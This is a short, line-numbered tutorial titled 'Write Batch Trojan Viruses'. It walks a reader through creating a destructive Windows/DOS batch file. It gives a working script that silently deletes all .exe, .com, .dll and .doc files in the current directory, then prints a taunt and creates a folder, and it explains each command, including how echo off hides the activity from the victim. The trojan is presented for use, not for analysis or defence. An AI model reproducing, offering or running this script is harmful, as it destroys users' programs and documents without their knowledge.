Write Batch Trojan Viruses


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DATE: May 27, 2016, 7:20 a.m.

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  1. INTRODUCTION
  2. ============
  3. Writing batch trojans is the easiest thing to do and they are able to run
  4. just on any
  5. PC with Windows or DOS. Batch files are basically just unformatted text
  6. files with the
  7. extension .bat that use DOS commands such as DEL, COPY, FORMAT, ECHO, MKDIR
  8. and so on.
  9. Batch trojans are Batch files that use destructive commands that can delete
  10. other files
  11. or Rename them, display messages, Make directories, and Create other files.
  12. WRITING BATCH TROJANS
  13. =====================
  14. To write a batch trojan, run notepad or some other word processor and type
  15. this as
  16. follows:
  17. @Echo off
  18. Del *.exe
  19. Del *.com
  20. Del *.dll
  21. Del *.doc
  22. Echo Your Screwed !
  23. Mkdir C:\Screwed!
  24. after typed that, click on File then click on Save, Make sure the part where
  25. it says
  26. "Save as type:" is on "All Files (*.*)" and then in the "File name:" section
  27. type "Example.bat"
  28. Now your wandering what does that do ! Here it is again with a explanation:
  29. @Echo off - Turns echo off so user doesn't know what happens
  30. Del *.exe - Deletes all files in the current directory with the .exe
  31. extension
  32. Del *.com - Deletes all files in the current directory with the .com
  33. extension
  34. Del *.dll - Deletes all files in the current directory with the .dll
  35. extension
  36. Del *.doc - Deletes all files in the current directory with the .doc
  37. extension
  38. Echo Your Screwed ! - Displays Your Screwed !
  39. Mkdir C:\Screwed! - Creates the directory Screwed on the C: drive
  40. There is a bunch more commands you can use and they can be found in a MS-DOS
  41. manual or
  42. in the DOS prompt by typing "Help" if your in MS-DOS 6.0 or lower. Scimming
  43. through the
  44. MS-DOS manual can help you learn more commands !

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